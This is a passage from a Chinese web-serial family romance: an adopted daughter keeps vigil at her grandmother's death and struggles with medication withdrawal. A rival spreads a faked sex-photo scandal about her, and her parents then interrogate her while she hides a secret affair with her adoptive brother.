看的医生皱了下眉,语气强势道,“现在哭是最没用的,收起眼泪,去和病人说话,至少也要让家属陆总他们赶到送老太太最后一程。”
家属……
对……
是爸爸、妈妈、还有陆礼……
他们都还在赶过来。
她擦去眼泪,挪到床边,无数情绪黑压压地覆盖在玻璃罩上,遮住所有光线,甚至连每一次呼吸都变得痛苦,紧绷的身体临近极限。
但她不能崩溃。
撑着压下来的绝望、面临死亡的痛苦,一句句和老太太说着话,她不知道在床边跪了多久,双腿早已麻木地失去知觉,所以她不知道痛。
老太太无神垂着的眼睑忽然睁开。
被时憬握着的手指蜷缩了下。
“奶奶?您要什么?”
“好孩子…”微弱无力的声音传出来,“给我……唱首……杭县……景……”
时憬干裂的唇张开,尝到了丝丝血腥味。
“我有一段情呀,唱给诸公听……”
“诸公各位,静呀静静听呀……”
“让我来,唱一支杭县景……”
屋子里断断续续的唱声,让所有人都忍不住偏首落泪。
从门外终于传来汽车刹停的声音,紧接着是一阵急乱的脚步声。
有人低声说着‘是陆总他们到了!’
时憬还未听清,就看见老太太平静的面容陡然变得狰狞,她几乎要坐起身来,双目死死顶着天花板一角,歇斯底里的咒骂:“陆衡生——我不愿嫁你——我不愿生下你的孩子——你们陆家——毁了我一辈子啊——”
这一段骂声让所有人露出吃惊之色。
时憬连忙去扶跌落下来的老太太,这样强烈的恨意尖锐地穿透玻璃,刺入时憬身体,她甚至不敢提一句陆父他们已经来了,“奶奶……奶奶……是我在陪着您……没有其他人……”
老太太紧紧抓着时憬的手,力道重到快折断她的手指,喉咙口还在哀嚎着:“别留在陆家——逃出去——出去——”
门外靠近的脚步僵住。
陆父高大的身躯狠狠晃了下,听见母亲临终前的恨意,他脸色煞白如纸,在门口停住。
陆礼一把扶住父亲,才没有让他跌倒。
陆父僵硬的视线滑到儿子脸上,推了他一下,“你先进去——”整条胳膊都止不住地发颤。
陆礼把父亲交托给母亲,推门进去。
时憬止不住地落泪,一声声叫着她奶奶。
听得人几欲心碎。
极致的恨意过后,老太太的眼神清明了一瞬,她看着进门的男人,大限将至,她已看不清来人的模样,耳边的小调没了。
“好孩子……别停……”
她僵硬地移走视线,表情变得祥和而平静。
“继续唱……我要回家了……”
时憬的心脏狠狠抽动,痛得人呻吟出声,她伴着血腥味咽下去,继续唱。
“细细那…到到来……唱给诸公听……”
“小小杭县城呀……”
“盘古到如今……”
陆礼看着时憬跪在床边,挺着背,唱着他听不懂的小调,屋子里安静,阳光从窗户透进来。在这段唱词下,他看着老太太逐渐祥和的表情,视野被模糊,接着,他看见老太太笑了下,语气依恋的,像极了一人。
在屋中轻轻响起。
“阿爸……妈……你们终于来……接我了……”
“我……回家了……”
“东南西北,共有四城门呀……”
“一到子……”
时憬手中的手跌落。
监护器发出刺耳声。
门猛地被推开。
陆父红着眼冲进来,他就慢了一步——
当年那些不堪的往事,在他小时候也能察觉一二,比如母亲鲜少对
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他温柔,母亲有时候一个月都不会出门,父亲在商界杀出血路好不威风,但他也从未得到母亲青睐的一眼……他以为,父亲离世,他和母亲多接触总能换来迟来的母慈子孝。
谁知,母亲连走都不愿让他看最后一眼。
陆父在床边跪下,几近失态地哭出声来。
*
陆老太太在故乡杭县离世,离世前说的那些话一旦传出去一句,都能让整个沙市看他们陆家的笑话。
父亲早已过世。
陆父不愿父母沦为众人谈资笑料,低调在杭县发丧,只告知了几个近亲。
安静地处理了后事。
又在杭县买了墓地,让陆老太太留在了杭县,不用再回困了她大半辈子的陆家。
从杭县回沙市的那一天,大雨滂沱。
飞机大幅度延误,等陆家一行人抵达沙市已近清晨。
陆礼与他们在机场分别。
他这几日在杭县处理老太太后事,推了不少会议,这次出国行程没法取消,他刚落地,公司两个高层就已经在机场等着。
有外人在场,他克制地看了眼时憬,只来得及说一句‘好好照顾自己’。
时憬看着他离开。
疼得麻木的心已感知不到痛感。
她跟着陆父陆母回了陆园。
陆父年纪大了,遇上老太太骤然离世,对他打击颇大,几天里添了许多白发,再加上这几天操办丧事,难掩老态,到家后就上楼休息去了。
陆母刚嫁给陆父时,陆老太爷还在。
公婆住在以前的小别墅里,她只当二人感情不好,从未想过老太太恨了陆家大半辈子,连带着生的儿子也全无感情,甚至不愿让儿子送她最后一程。
人到中年,谁能受得住这份打击。
陆母记挂着陆父,看了眼憔悴的女儿,匆匆叮嘱了句早点休息也跟着上楼去。
时憬反应迟钝地点完头后,才看见陆母已经离开。
她扶着楼梯上去,走到房门口时,手颤抖到握不住门把手,想起来这几天都没有吃药,擅自断药的戒断反应汹涌扑来,几乎要吞噬她的理智。
第65章 不会说话就给我闭嘴
时憬害怕让任何人看见这样的自己,狼狈地躲进房间。
拉开包,翻出一地的东西。
找到药后连水都没有倒,掰了吞下去。
唾液黏住药粒,苦味蔓延,刺激着脆弱的喉咙。
刚咽下去后没多久,胃里一阵翻涌。
她捂着嘴冲到卫生间,全都吐了出来。
想起不能空腹吃药。
呕吐刺激的生理泪水怎么都止不住,痛苦中,她听见有人在杭县那栋砖瓦楼的灵堂外说话。
“听说是她非要带老太太回来的。”
她弓着背,扶着台盆,急促地喘息。
“我突然来这个地方都不习惯,何况是老太太,简直是胡闹!”
“呕——”
“过年前我还见过老太太,看着精精神神的,这不就是被她害死的……”
她止不住的干呕。
眼前阵阵发黑。
窒息感、心脏的疼痛感涌来。
“他们怎么会收养这么一个没血缘的!”
“经过老太太这件事后,你看今后陆家怎么对她,这两天看着陆礼都不管她了。”
她睁大眼睛,攥着胸口。
妈妈不在了。
陆礼也不要她了。
他们说得没错。
爸爸妈妈陆礼……他们都会怪她、恨她……疏离她……是她带着老太太回去的……
是她……
自私地想要讨老太太开心……
是她……
自私地想要占有陆礼……
现在种种,都是她的报应!
她的报应……
是她……害**老太太……
“小姐!”
一道惊呼声响起,推门进来送早饭的柳姨看见倒在卫生间的时憬,脸色苍白的吓人,两颊透着不正常的酡红。
时憬想要阻止柳姨去叫人。
但身体承受到了极限,闭上眼后彻底失去意识。
之后几天,她除了被叫醒吃药,其他时间都在昏睡。
高烧的症状掩盖了她断药后的反应。
时憬重新吃上药,才从那种绝望的状态中脱离,又像是被关回玻璃罩里,隔绝所有情绪。
药物的副作用仍未消失。
她还在瘦下去。
看得陆母直发愁。
陆家也因老太太离世气氛凝重。
陆父情绪低落,时憬状态不好闭门不出,陆礼又还在出差,陆母操心老的又担心小的,楼心月得知后,这几天成了陆园的常客。
她主动陪着陆母逛街聊天插花解闷。
陆母性格善良,本身就喜欢温柔懂事的女孩子,在楼心月故意投其所好的努力之下,陆母对她更是满意。
时憬把自己关在房间,楼心月见不到她。
这天下午,童宛来探望时憬,看着她煞白的脸,瘦得一阵风来就能吹走的样子,皱着眉强行把她拖到楼下花园里去晒太阳。
童宛柔声劝她:“我知道你心里难受,但也不能这么折磨自己的身体。你该伤心伤心,该哭哭,但饭要吃,水要喝,觉也要好好睡,是不是?”
童宛眼中皆是担忧。
时憬看着她,点头回应,“我知道了。”
童宛叹气,“看你这样子就知道你没听进去。”觉得时憬看起来有些不对劲,反应像是都慢了半拍,有些木愣愣的呆滞,“最近我也没事,每天都来陪你晒晒太阳,说说话,等你好点了,我们就出去走走,好不好?”
时憬摇了下头,向来澄澈黑亮的眼底,此时毫无生气,“太麻烦了,你不用来,我休息段时间自己就能好。”
童宛:“见鬼能——”
陆母和楼心月正好也来花园里,童宛瞥见她们身影,连忙住口。
陆母看着女儿出了房门,心中的一块石头落了地。
这些年老太太谁都不亲近,甚至对陆礼这个孙子都感情一般,反倒是最疼小憬,老太太走得突然,而且那一天都是小憬守在床边,孩子年纪轻,估计一时半会儿缓不过来。
但能走出房门,后面就能慢慢好起来。
陆母朝两个孩子走去,语气热情地邀请:“童宛来得正好,这几天她一直把自己关在房里,今天总算肯出来透透气,我也能放心了
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,你空了多来找小憬说说话。”
童宛一口应下。
时憬仍想要拒绝。
陆母比她先一步开口,“太好了,阿姨真的要谢谢你。”
时憬看着妈妈的反应,拒绝的话堵在喉咙口,怎么也说不出来。
陆母看了眼三个年轻小姑娘,微笑着拍了下挽着自己的楼心月,“心月,你也和小憬、童宛一起说说话,不用一直陪着我,阿姨去给你们拿水果和蛋糕来。”
楼心月嘴甜道:“辛苦阿姨。”
陆母笑容和蔼,“你们慢慢聊天。”
陆母前脚离开,童宛后脚就冲时憬夸张地学着了楼心月刚才的嘴脸。
‘辛苦阿姨’
故意想逗时憬笑一笑。
时憬配合着勾了下嘴角。
楼心月落座,审视般扫了眼时憬,都瘦成这样了,还能故意整出一副我见犹怜的可怜样,真不愧是狐狸精。她心里对时憬厌恶,脸上丝毫不显,语气关切着说道:“小憬妹妹,你怎么瘦了这么多啊?若云阿姨这些天因为你不愿出门见人,不知有多担心。”
明着是在关心时憬,暗着是在责怪她不懂事。
童宛最开始对楼心月印象是挺美一小姐姐,后来因时憬的关系才不太喜欢她,但二人没多少接触,只把她看成是陆少的‘绯闻女友’,今天听楼心月这一段话,让童宛忍不住去看她。
童宛直来直去,最不喜欢这种阴阳怪气的人。
但碍于在陆家的地盘,她忍下来没有发作。
时憬语气敷衍:“多谢关心。”
楼心月将她的敷衍看成是愧疚,继续劝道:“节哀顺变。但听说是你陪着老太太回了老家,老人家好歹也是在家乡离世的,虽然事发突然了些,但没受什么——”
眼前楼心月一张一合的嘴脸,和那些人的重叠。
毫不留情地用刀刺中她。
满怀恶意。
时憬的脸色煞白,毫无血色地唇动了下,“滚——”
声音被一旁跳起来的童宛盖住。
“你TM不会说话就给我闭嘴!”
第66章 床照
楼心月惊吓般掩唇,“我是担心小憬妹妹啊,你、你为什么要这么说话?”
童宛笑嘻嘻反问:“不知道?”
楼心月无辜地点头。
童宛翻了个白眼,“那你们楼家的素质教育真不咋滴啊,”她哎哟了声,“不对,是素质教育也教不了黑心的狗。”
楼心月蹭地站起身,“童宛!你凭什么骂人!”
童宛一秒收起笑,冲她比了个中指:“就凭你嘴贱心脏。”说完,转头挽着时憬的胳膊,“咱们换个地方,这儿空气都脏了。”
楼心月气得浑身发抖。
从小到大没人这么骂过她!
时憬——
童宛——
敢这么辱骂她,就别怪她出手太狠!
楼心月掏出手机给**发信息过去。
【给我把上次你查到的时憬童宛包养夜心男人的照片、截图全部发出去,阵仗搞得越大越好,要让整个沙市的圈子里的人都知道!】
【记得做得干净点,别让人查到你】
【现在就给我去弄!】
楼心月握着手机的指尖在激动地颤抖。
觉得现在挑破这件事竟然是最佳时机!
她听说陆家这边的人都在责怪是时憬非要讨好老太太,带着老太太去杭县,这才害**老太太。伯父和阿姨两个人碍于时憬是他们收养的,不好明面上责怪她,但她包养夜心男人的事情爆出去,伯父和阿姨恐怕会对这样一个养女彻底失望!
陆礼再疼爱这个妹妹,哪怕他们之间真有什么,也没用了。
童宛陪着时憬回房间后,就忍不住吐槽。
“woc,你哥这是什么审美啊?能看得上这种女人?”
“不行不行,陆少在我心目中的形象轰然坍塌了。”
“他竟然喜欢这种类型的???”
“我靠——”
童宛兀自在怀疑陆礼的三观,嘀嘀咕咕了一串后,才发现好友又坐着走神了,眼神空洞,表情木愣愣的。
“时憬,你在听我说话么?”
她伸手在时憬眼前晃了下。
时憬点了下头,“谢谢你今天帮我出头。”
童宛嗨了声,“谁让咱们是一辈子的好姐妹,谁敢欺负你,只要我在,绝对给你找回场子!”她叉腰说完后,又去看时憬,总算在她脸上看到几分活人气息。
时憬伸手,握住她的手。
冰冷的指尖骤然触及温暖。
“谢谢你,童宛。”
童宛揉了下她的头,“不客气!”
两人聊了会儿后,童宛还在纠结陆少的审美,忍不住又问了句:“你哥和楼心月之间不会真有什么吗?我刚才骂她骂得还蛮狠的,这人不会在陆少那边吹枕头风吧?”
时憬垂眸,语气淡淡的,“我不太清楚。”
童宛啊了声,“你哥没和你提过她?”
时憬想起不知哪一次争执时,她好像提到过楼心月,但陆礼虽然没有肯定但也没有否认,记忆变得模糊不清,心脏仍会刺痛。
“没有,”她轻声在说,“我和他已经很久没好好说过话了。”
她平静地说出口。
没有钻心刺骨的疼痛,也没有汹涌的眼泪。
她只是又一次想起,陆礼已经不要她的这个事实。
童宛摸摸她的头,安慰道:“我们谁不知道陆少最疼你这个妹妹了,等过段时间就好了,别难过啊。”
语气如此的笃定。
陆礼推开她之前,也曾用这么肯定的语气说,她永远会是陆礼的妹妹,可现实呢?
可其中这些事情,她无法对童宛说出口。
只能牵强地笑了下,“希望。”
这天童宛陪了她很久。
药物的副作用还是出现了,第二天,时憬脱下汗湿的睡衣,洗了个澡后出门。
今天是去复诊的日子。
诊所里。
秦天川满脸头疼的看着手机上陆礼发来的信息。
上次自己没忍住骂尽兴了,现在看见陆礼就心虚,面对他提出拍张时憬的照片发过去,不知该怎么拒绝。
正纠结时,时憬敲门进来。
清瘦的女孩站在门口,围巾裹着苍白的脸,神情淡漠而平静,那双澄澈的眼瞳中不复之前的明亮动人。
秦天川一秒收起手机,恢复正经姿态。
一套问诊、检查流程下来后,秦天川开始写病例,一边问她:“上次吃的药还有副作用么?”自从时憬稳定开始吃药后,就不再要求她每天报备情况,某种情况下,每天与医生沟通交流,也会令病人产生紧迫感。
时憬照实说了。
秦天川沉吟一声,语气温和道:“那再加一个辅助睡眠的药。药物的副作用持续时间长短因人而异,目前看来控制得还不错,我们再服用一段时间看看,下个月来复诊时,如果副作用还这么明显,再考虑换药的事,
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好么?”
“好。谢谢秦医生。”
说完后,时憬起身离开。
“时憬妹妹等等——”
时憬回头看他,等着他继续说完。
秦天川假咳了声,“现在每次复诊都需要拍照留档,观察状态,妹妹你就站那儿,我过去和你拍。”
时憬说了声好。
既没有抗拒,也没有其他反应。
秦天川凑过去,打开手机照相机,习惯性对镜头比耶。
时憬看见,也跟着抬手比耶。
秦天川被这个反应萌了一脸。
拍完后,轻摸了下时憬的头,“有任何问题随时都能来找我,好么?”
“谢谢天川哥。”
“不客气,你怎么回去啊?”
“我打车回去。”
秦天川送她到出诊室,笑眯眯地叮嘱她,“回家路上注意安全,到家了和我说一声。”此时的秦天川不再是一位医生,而是稳重可靠的邻家兄长。
目送女孩离开后,秦天川刚回去,手机就响了。
陆礼来电。
接通后,秦天川连声喂都没说,一股脑开始输出:“多好多懂事的一个姑娘啊,生病了也这么听话配合,怎么就摊上你这么——”
陆礼冷声打断他的废话:“时憬情况怎么样?”
秦天川也不生气,“把刚才的医嘱原样背了一遍。
陆礼:“她走了?”
秦天川:“废话,不然我敢接你电话?”他站在窗边,挑了百叶帘朝下看,故意问他,“时憬刚拦到出租车,我叫她上来你俩说说话?”
陆礼:“出租车?不是家里的车?”
秦天川松开百叶帘:“之前不都是你送她来复诊,现在她自己来,估计是不想被你爸妈知道吧。”
陆礼:“她到家了和我说一声。”
秦天川:“…………”
陆礼:“你现在手上的这个研究陆氏会全额出资暂住。”
秦天川笑弯眼,态度那叫一个友好:“嗳好嘞!”
挂了电话后,秦天川心情美妙地哼着小调回电脑前,屁股还没坐热,护士来敲门,言语间有些含糊地问:“秦老师,陆氏集团的千金是不是指时小姐啊?”
秦天川笑了,理所当然道:“陆家现在的宝贝疙瘩除了她外还有谁,你这是又看到什么新闻了,拿来我看看?”
秦天川接过手机。
屏幕上跳出一张糜烂的多人床照。
第67章 不堪入目的丑闻
出租车停在陆园正门口。
时憬从车上下来。
放在包里的手机连着震动多下,她停下正准备看时,柳姨从里面快步出来,“小姐,先生让我见你回来就去楼上书房找他,”顿了顿,又补了一句:“太太也在书房。”
时憬放下手机,“有说什么事么?”
柳姨摇头,语气担忧道:“没说,但先生回来时脸色很不好,你上去说话小心些。”
时憬道了声谢,上楼去书房。
书房门紧闭,她敲了两下。
“爸爸,我能进来么?”
“进。”
时憬推门进去,陆父语气严肃地让她关门。
她照办。
陆母也在书房里,坐在一旁的沙发上,看向时憬的眼神全无今日见她出门时的欣慰之色,欲言又止地看着她。
时憬再反应迟钝,也能察觉到书房里压抑的气氛,以及陆父沉怒的面容。
不安从心底钻出来。
她站在不敢再靠近,掌心渗出冷汗。
“爸爸,您找我么?”
陆父坐在书桌前,看着眼前消瘦又乖巧的女儿,尽量克制自己的怒气,问道:“小憬最近交男朋友了吗?”
时憬愣了下。
不知陆父因什么一脸严肃地问她这个问题。
她如实回道:“没有和谁交往,爸爸怎么——”
“没有?”陆父陡然拔高声音,沉怒着反问。
陆母跟着沉声附和:“小憬,你实话实说,不要敷衍我和你爸爸。”
时憬将二人的反应看在眼中。
不安几乎将她笼罩。
一个猜测忽然浮现。
难道——
爸妈发现她和陆礼的关系了?
这个念头令她脸上骤然失色。
不能说。
不能让他们察觉。
他们也不可能知道。
她和陆礼从未在外被人看见过,他那么谨慎小心,从不带她去酒店,而且他们最近更没有接触过,爸爸妈妈更不可能知道的。
时憬,冷静些。
她极力攥紧指尖,“爸,妈,我确实没有交往的男——”
“啪!”
陆父听她还在遮掩,突然暴怒起身,手机扔到她脚边,指着时憬厉声质问:“没有交往的男人?!那你这些被拍到的照片难道都是假的吗?!”
陆父曾经是严父。
但在时憬这个毫无血缘的养女面前,他一直是一位慈父。
从未像现在这个发过火。
这一声暴怒吓得时憬肩膀抖了下。
她蹲下身,捡起脚边的手机,还未站稳,看见屏幕上惊爆夺人眼球的新闻标题。
【陆氏千金私生活混乱,重金包养夜心**姊妹开多人**趴】
标题下,是一段简短描述她和童宛的身份。
跟着就是一张张照片。
有她和白行在乐园的照片,他们坐在花园椅上,姿势暧昧地同看一部手机。
第二张是他们四个人进入乐园酒店的照片。
第三张是他们爬山后的合影。
第四张是白行、季易在夜心陪富婆的打码工作照。
再往下滑——
最后一张是他们四人衣不蔽体滚在床上的昏暗自拍照,画面混乱得不忍直视。
而这条微博,已经上了当地热搜,铺天盖地的评论与恶意涌入。
时憬眼睛发红。哪怕药物麻痹了她大部分情绪,眼前荒唐的照片也让她浑身发抖,无数话堆积在喉咙口。
陆父看她这幅反应,当成是事情暴露后的手足无措,愈发怒火中烧:“这些年你在沙市就学会了这些不入流的东西?!包养男人,还、还搞这种丢人现眼的照片出来,我们陆家的脸都被你丢光了!!”他脸色发青,指着时憬的胳膊都在颤,“去把陆礼给我叫回来!!让他看看带回来的好妹妹都做了些什么事情!”
话落,他就让陆母打电话。
时憬麻木的情绪中涌出慌乱,跑到陆母身边阻止她拨出电话,“不要,妈妈不要打…”她口吻近乎哀求,“爸爸,不要叫我哥回来…我错了……是我错了……”
面对陆礼时,她敢用激将法,敢用尖锐的言语令他动怒。
在面对陆父陆母时,她只有愧疚,更不知道怎么辩驳,怕会让他们更生气。
陆父看着女儿的目光是又愤怒又失望,“现在知道错了有什么用!你把自己的名声都毁
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完了!妈妈怕你被男人骗了、怕你受伤,介绍知根知底的费兰,爸爸担心妈妈给你压力,让你遵循自己的心意,结果你是怎么做的!你哥今天照顾你快十年,今天他看到这件事会有多少生气伤心!”
陆母看着时憬光哭不说话,忽然想起年前儿子为了她大动肝火一事。
那时候儿子说的是妹妹被男人骗了,怕她深陷才停了她的卡,也不准私底下给她钱。女儿的事情一向都是儿子管得多,当时陆礼那么生气,她虽觉得不至于但也不敢劝。
现在想起来,或许是儿子早就知道了。
陆母握住时憬的肩膀,一字一句地问她:“这件事你哥早就知道了是不是?年前陆礼说你被一个男人骗了,发火停你的卡,就是因为照片上这个男人是吗?”
在陆母的逼视下,时憬僵硬地点头。
陆母看她承认,握着肩膀的手指用力,继续问出后面的话:“你不想让我们联系陆礼,是在那之后你们还有联系是吗?最后那张照片是那之后拍的?”
混乱不堪的情绪涌入大脑。
那些失望的眼神变成了利刃架在她脖子上,她想摇头否认,却不敢动。
陆母厉声逼问:“说话!”
陆父也多希望女儿能否认。
可能言善辩的女儿却又沉默了。
陆父眼中的失望与心痛几乎能化为实质,“你哥替你遮掩,瞒了我们一次,你还不知足!还说自己知错了!你知什么错!现在你毁的是你自己的人生知不知道!”
陆母松开手,扶额落泪:“小憬,你是要伤透我们的心啊!”
哪怕两人失望、伤心至此,说出口的每一句话都还将她当成是陆家人,不曾失望到要把她赶出去。
陆父愤怒至极,也只提了一句她是陆礼带回来家的妹妹。
即便是现在,她还是爸爸妈妈的女儿。
被困在玻璃罩中的时憬才听懂他们说的每一句话,他们对她这个女儿的失望。她止不住的流泪,终于找回了自己的声音,“对不起……爸爸妈妈……对不起……我和白行没有发生任何关系……最后那张照片是假的,我们没有做那些事情……”
第68章 我和……他……发生过关系
时憬努力想要解释清楚,不想要在伤他们的心,最后那张照片是别人合成的,根本不是他们,只要爸爸妈妈相信了,前面那些事情她都可以解释。
她是因为白行的家庭,是因为他身上兄长的责任,她才会见第二次、第三次的。
只要好好解释,他们会理解的。
时憬还想继续解释,陆父先一步开口:“你说和白行没发生关系,你们没去住乐园酒店?”
时憬:“去了,夜心里出台有要求,有过夜需求的话要提供酒店照片。白行拍了房间照就离开了,后来、后来我也回来了。”她双眸泪盈盈地望着陆父,恳切地确认,“那天是哥哥接我回来的,您还看见了的,我和白行没有在一起过夜,我和他只见了三次,乐园是第二次,照片上我们去爬山就是第三次见面。”
陆父率领陆氏集团多年,严肃时身上的威严只比陆礼更甚。此时他眉头紧皱、目光锐利地直视时憬:“爬完山之后呢?”
时憬只顾着解释,却疏忽了陆母的神色。
她仍在解释:“我们爬山下来后,就被哥哥看见了,他带我回家……之后就是妈妈刚才提到哥哥生气的那些。之后我们再也没有见过了!最后照片是假的!我们根本没有做那种事情——”
可陆父看她的眼神,近似失望至极。
时憬怔住。
不知道哪里出了问题,为什么爸爸会不信她。
时憬不敢再有隐瞒,急切地把所有都说了出来:“我和白行是在夜心认识的,他家里情况困难,在夜心工作是为了让弟弟妹妹上学,我见他也是希望能帮……”时憬说话的速度慢了下来,她有些不知所措的看着二人,“我说的…都是真…的啊……”
为什么他们还要这样看她?
陆母抬手,左手手掌搭在右臂上,目光中是审视与触底的失望,语气却过分的温柔:“小憬,到现在了,你还在骗我们。”
时憬:“我没有——我说的都是真——”
陆父背过身去,给女儿留些尊严。
陆母从身后拿出几样东西,不轻不重地摆在眼前的茶几上,“那你告诉我,你房间里为什么会有这种东西,是和谁用的?说!”
最后一个字骤然褪去温柔,尖锐的质问。
时憬低头看去。
桌上放着药膏、避孕套,和避孕药。
她浑身血液霎时冰冷。
冷到身体开始不受控制地发抖。
药膏是那一次陆礼失控不小心伤到她后拿来的,那时候妈妈在门外敲门,她顺手藏进抽屉里,再也没有用过。
避孕套不止她房间里有,陆礼房间里备着,她小心地藏在另一个抽屉最里面。
而避孕药是乡下时陆礼给她的,她这几天状态不好,将从杭县带回来的东西都塞在包里。
这些东西,分散在她房间各个地方。
却被妈妈一样样找到了,摆在她眼前。
问她和谁用的。
和谁……
和谁……
她和陆礼用的……
但她不能说——
陆母咄咄逼人的盯着时憬,将她脸上害怕的表情清楚看在眼中,“既然你说和白行没有发生过关系,这些东西是和谁用的?这盒里面一共四个,现在只剩下一个,三个是和谁用了?紧急避孕药少了一粒,你又是谁发生了关系后需要紧急服用的!最后这个——”陆母难以启齿到难堪,低声道:“难道还要我说出来吗!”
时憬的脸色在陆母每一句话后就苍白一分。
直至脸上血色褪尽。
而陆母还在继续,用痛心疾首的声音问她:“时憬,究竟哪个男人值得你为了他这么伤害自己的身体?你到现在还想着为了他欺骗我和你爸爸?!”
“九年前你哥带你来到我们家,他尽心尽力地学着当一个合格的哥哥,无微不至的照顾你,连妈妈和爸爸都自认不如他对你的关心。你就为了一个男人不止连自己的名声都不要了,还伤害自己的身体,到现在你居然还要瞒着我们!”
“陆礼要知道了这些他只会比我们更伤心。你告诉妈妈,和你发生关系的男人是谁!是不是照片上的那个男人!”
“那个男人只顾自己欲望,根本没有在乎你的身体,这种男人你和他分开后,万一他手里还有和你亲密时的证据
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来威胁你,拿钱能摆平还好,如果是个无底洞怎么办?你打算要被他活活逼死吗!到时候你让爸爸妈妈怎么再帮你!还是说,你非要逼妈妈把这些东西给陆礼看——”
“不要!”她哀求着开口,“不要联系哥哥……”
不能说……
也不能让他知道妈妈发现了这些。
他们已经结束了,她不想听见他迫不及待与自己划清界限而说出的谎言,也害怕看见他冷静到无情的表情。
他是她的全世界——
她已经失去了陆礼,不能再让任何人来摧毁残骸。
“求求您……不要让哥哥知道……”她似是绷紧的弓弦,那些涌来的情绪要将她压垮,“求求您……妈妈……”
“那你说啊!那个男人究竟是谁!”
时憬闭上眼。
眼眶涩痛得流不出眼泪。
她听见自己的声音响起。
“是……白行……”她还听见有什么东西碎裂的声音,好像是玻璃裂开的声音,罩着的玻璃罩上有了裂痕,噬人的情绪在裂口用力拍打着,“我和……他……发生过关系……那些东西……也是因为……他……”
对不起…白行……
她自私的还想要留在陆家,还想要有爸爸妈妈,还想要见到陆礼……
对不起……
对不起……
在听见她承认后,陆母眼中的愤怒缓缓消失,只剩下浓浓的失望。
陆父转过身,看见陷入绝望、像是被抽走魂魄的时憬,哪怕不愿承认,但向来可爱乖巧的女儿的的确确做出了这种荒诞可耻之事,他和妻子再生气再骂她却也不能打她,他们之间没有血缘关系,他却真的把她当成亲生女儿疼爱。
再失望至极,也要为她的事情善后。
不能让一个男人毁了她一辈子。
陆父冷冷开口,“从今天起你不用再出门去上班了,直到这次风波过去之前,就在家里给我好好待着,哪里都不准去。把你手机拿出来,当着我们的面把白行的联系方式删了,童家在看见这些事后,也不会再让你们见面,也别让我们发现你找童宛试图联系那个男人!”
第69章 对不起…让你们伤心了
陆母抬了下手,想从时憬包里拿出手机。
时憬下意识躲开。
陆母眼底神色复杂,除失望外,还生出隐隐的心寒,她克制住了,没有出声责怪时憬的这一行为,语气冷下来:“你自己拿出来。”
时憬垂首,包里还放着药。
她不敢让妈妈发现。
“上次爬山分开后,白行的微信就被删除了,我们再也没有联系过。”她摁亮屏幕,解锁,把手机递给陆母看。
陆母接过手机,来回翻了一遍,女儿的交际圈乏善可陈,排在顶端的她都认识,只有一个备注为秦医生的陌生,也未点进去仔细看聊天内容,“秦医生是谁?”
时憬惊了下,不敢表现出来。
“是、是哥哥的一个朋友,在当心理医生。”她低着头,小声解释:“从杭县回来后睡眠就不太好,哥哥给我推荐了秦医生,今天…今天我出门就是去秦医生那边。”
陆母仔细看着眼前的女儿。
去杭县时,她就瘦了。
经历了老太太一事,回来后又病了一场,现在瘦得风一吹都能倒下。
时憬接过手机,头垂的几乎看不见脸,只露出一截细白的手腕,“对不起……让你们……伤心了……”
她的声音本就软。
夹杂着哽咽声,几乎要把陆母的心给彻底哭软。
但此时不能表露出来,只能硬声道:“你别怪我们对你心狠,这件事我和你爸会处理好,你以后管住自己,好好听我们的话,比什么都强,自己会房间里好好想想。”
时憬低低应了声,退出书房。
将关上门时,里面陆父已经开口说,“这段时间她在家,你多看着点。”
时憬离开的步子缓下。
胸口酸痛的发胀。
她与爸妈没有血缘关系,只是他们被迫照顾的陌生人,她从未奢望成为他们真正的亲人,可今天,她才发现,原来在爸爸妈妈心里,已是他们的女儿。
里面的对话还在继续。
陆母说了声好,又问:“那个叫白行的你打算怎么处理?”
陆父:“我找人去找找他,人不能继续留在夜店里,还要确认他手里没有不利的照片。还有今天的这个新闻,扩散的太快了,背后的人估计没钱花钱——”
时憬不愿再窥听,悄声离开。
陆父接着说:“还有最后那张也要查一下。”
陆母:“什么?”
陆父:“就最后那张照片,也有可能是假的,还得尽快找人查。”说着就要拿手机找人。
陆母低叹一声,“别查了,万一查出来是岂不是更伤人心。”
陆父却不赞同:“我们也算是看着小憬长大的,她品性如何我们是知道的,夜店里面那些男的一个比一个能忽悠人,你看看小憬不还信他为了家里人才做这行的。找男朋友发生关系,情到浓时不受控制,但最后那张照片我不信小憬能做得出来。”
“我说一句,你回我一堆。你要查就查。”
陆父走到陆母身边,握了下她的手,柔声问:“怎么了?脸色这么难看。”
陆母忍不住低声倾诉:“我刚要拿她手机,你没看见她躲我的拿一下……”说到这儿,心寒已经淡了,只剩下难受,“我们没有个女儿,我本来都不盼着了,她来了后我真心把她当成女儿疼。就因我翻了她房间,都不让我碰她东西了,心底不知道记恨上我……到底不是亲生的……”
说着说着就红了眼。
陆父本想说,偷偷翻女儿房间确实不好,孩子这会儿有情绪也是正常的。
陆父拥着妻子开解:“小憬年轻小,又被我们保护得太好了,不知道这个圈子里的险恶。这次的事情正好是个教训,她以后肯定不敢了。我们当爸妈的,训完了孩子认错了,这事就当过去了,以后也别提了。还有啊,你最后那句话可不能当着孩子的面说。”
陆母这会儿也冷静下来,佯怒瞪了丈夫一眼,“我有分寸,是你非要来问我。”
陆父便笑呵呵地认了
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,“你想认识的那些人家,谁没被家里的儿子女儿气得要揍人过,拿钱创业血亏旁人提及了都能夸一句上进心,其他乱七八糟的事情就可想而知了。陆礼从小主意就正,咱们也没费过什么心思,就当在小憬身上尝一次当父母的苦了。”
陆母又哼了声,“那不一样,没出这事前,小憬也从没让人操心过。”又说,“这孩子也是个心事重的,还瘦成这样,正好最近也不出门,在家得给她好好补补。”
陆父看妻子想开了,推开自己风风火火下楼叫阿姨商量菜谱去了,不自觉摇头一笑。
*
时憬回房关上门后就拿出手机。
微信里涌入无数信息。
她朋友不多,但平时随手加的人也不少,且都是这个圈子里的,这些信息背后大多都是一张张看热闹的嘴脸。
童宛被挤到了最下面。
今天还未收到她的消息。
时憬打她电话,无人接听。
低头敲消息。
时憬:【童宛,你那边怎么样了?看到了尽快回电,我很担心你】
发完信息后,时憬又找到耶耶。
电话迅速被接通,耶耶担忧着急的声音瞬间传来:“老天爷!我总算联系上你了!今天的新闻到底是——”
时憬出声打断:“抱歉,你现在说话方便么?”
耶耶停了下,隔了几秒后才回:“我现在躲通道里来了,你说。”
时憬:“想请你帮一个忙。我转一笔钱给你,以定向捐赠的名字转给泗叶高中的白一蕊。”
耶耶:“谁?姓白的,不会是白行的亲戚吧?时憬,是不是被他威胁了。你不要怕,这钱也不能给,有了一次就会有第二次的。”
